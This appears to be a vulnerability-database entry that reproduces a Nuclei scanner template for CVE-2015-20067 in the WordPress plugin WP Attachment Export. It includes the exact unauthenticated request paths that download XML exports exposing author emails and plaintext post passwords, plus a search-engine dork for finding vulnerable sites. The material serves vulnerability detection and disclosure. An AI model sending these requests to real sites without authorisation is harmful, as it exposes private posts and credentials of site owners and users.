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WP Attachment Export < 0.2.4 - Unrestricted File Download

🗓️ 27 Sep 2026 02:09:04Reported by ProjectDiscoveryType 
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WP Attachment Export < 0.2.4 - Unrestricted File Download allows unauthenticated users to download XML data containing details of all attachments/posts on a WordPress site, including private and password protected posts with passwords in plain text

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id: CVE-2015-20067

info:
  name: WP Attachment Export < 0.2.4 - Unrestricted File Download
  author: r3Y3r53
  severity: high
  description: |
    The plugin does not have proper access controls, allowing unauthenticated users to download the XML data that holds all the details of attachments/posts on a Wordpress
    powered site. This includes details of even privately published posts and password protected posts with their passwords revealed in plain text.
  impact: |
    Unauthenticated attackers can download XML files containing sensitive attachment and post metadata including titles, author IDs, email addresses, and plaintext passwords for password-protected posts, potentially exposing confidential information and credentials from the WordPress site.
  remediation: |
    Fixed in 0.2.4
  reference:
    - https://wpscan.com/vulnerability/d1a9ed65-baf3-4c85-b077-1f37d8c7793a
    - https://packetstormsecurity.com/files/132693/
    - https://seclists.org/fulldisclosure/2015/Jul/73
    - https://nvd.nist.gov/vuln/detail/CVE-2015-20067
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-20067
    cwe-id: CWE-862
    epss-score: 0.07729
    epss-percentile: 0.9442
    cpe: cpe:2.3:a:wp_attachment_export_project:wp_attachment_export:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wp_attachment_export_project
    product: wp_attachment_export
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/wp-attachment-export/"
  tags: wpscan,packetstorm,seclists,cve,cve2015,wordpress,wp,wp-plugin,unauth,wp-attachment-export,wp_attachment_export_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/tools.php?content=attachment&wp-attachment-export-download=true"
      - "{{BaseURL}}/wp-admin/tools.php?content=&wp-attachment-export-download=true"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/xml")'
          - 'contains_all(body, "title","wp:author_id","wp:author_email")'
        condition: and
# digest: 4b0a00483046022100c718d9932547e529206cc2662e6be1bf82202ead5f9074185f326dc1de36baff02210089e7cc5f1efe3491f21737fb084e2269f7ceb4116eefac1c06f16d36d684a60d:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
7.3High risk
Vulners AI Score7.3
CVSS 25
CVSS 3.17.5
EPSS0.07729
85